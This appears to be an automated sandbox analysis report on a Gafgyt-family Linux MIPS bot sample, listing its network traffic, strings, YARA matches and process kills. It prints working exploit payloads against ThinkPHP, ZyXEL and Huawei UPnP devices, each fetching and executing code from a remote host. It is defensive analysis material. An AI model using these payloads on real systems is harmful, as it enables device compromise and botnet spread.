Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: unknown

HTTP traffic detected: POST /cgi-bin/ViewLog.asp HTTP/1.1Host: 192.168.0.14:80Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.20.0Content-Length: 227Content-Type: application/x-www-form-urlencodedData Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 32 2e 35 38 2e 31 31 33 2e 31 31 30 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://2.58.113.110/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Source: belks.mips.elf	String found in binary or memory: http://2.58.113.110/bins/x86
Source: belks.mips.elf	String found in binary or memory: http://2.58.113.110/zyxel.sh;
Source: belks.mips.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: belks.mips.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: belks.mips.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5458.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5460.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5452.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5440.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5444.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5453.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5436.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: belks.mips.elf PID: 5436, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: belks.mips.elf PID: 5440, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: belks.mips.elf PID: 5444, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: belks.mips.elf PID: 5452, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: belks.mips.elf PID: 5453, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: belks.mips.elf PID: 5458, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: belks.mips.elf PID: 5460, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/belks.mips.elf (PID: 5438)	SIGKILL sent: pid: 726, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5438)	SIGKILL sent: pid: 765, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5438)	SIGKILL sent: pid: 792, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5438)	SIGKILL sent: pid: 803, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5438)	SIGKILL sent: pid: 855, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5438)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5438)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5438)	SIGKILL sent: pid: 1410, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5438)	SIGKILL sent: pid: 1411, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5438)	SIGKILL sent: pid: 2936, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5438)	SIGKILL sent: pid: 3181, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5438)	SIGKILL sent: pid: 3183, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5438)	SIGKILL sent: pid: 3185, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 726, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 765, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 792, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 803, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 855, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 1410, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 1411, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 2935, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 2936, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 3300, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 3327, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 3413, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 3420, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 3424, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 3429, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 3434, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 5438, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 5444, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 5452, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 5453, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 5460, result: successful	Jump to behavior

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://2.58.113.110/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://2.58.113.110/zyxel.sh; chmod +x zyxel.sh; ./zyxel.shfffg

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/belks.mips.elf (PID: 5438)	SIGKILL sent: pid: 726, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5438)	SIGKILL sent: pid: 765, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5438)	SIGKILL sent: pid: 792, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5438)	SIGKILL sent: pid: 803, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5438)	SIGKILL sent: pid: 855, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5438)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5438)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5438)	SIGKILL sent: pid: 1410, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5438)	SIGKILL sent: pid: 1411, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5438)	SIGKILL sent: pid: 2936, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5438)	SIGKILL sent: pid: 3181, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5438)	SIGKILL sent: pid: 3183, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5438)	SIGKILL sent: pid: 3185, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 726, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 765, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 792, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 803, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 855, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 1410, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 1411, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 2935, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 2936, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 3300, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 3327, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 3413, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 3420, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 3424, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 3429, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 3434, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 5438, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 5444, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 5452, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 5453, result: successful	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	SIGKILL sent: pid: 5460, result: successful	Jump to behavior

Source: belks.mips.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5458.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
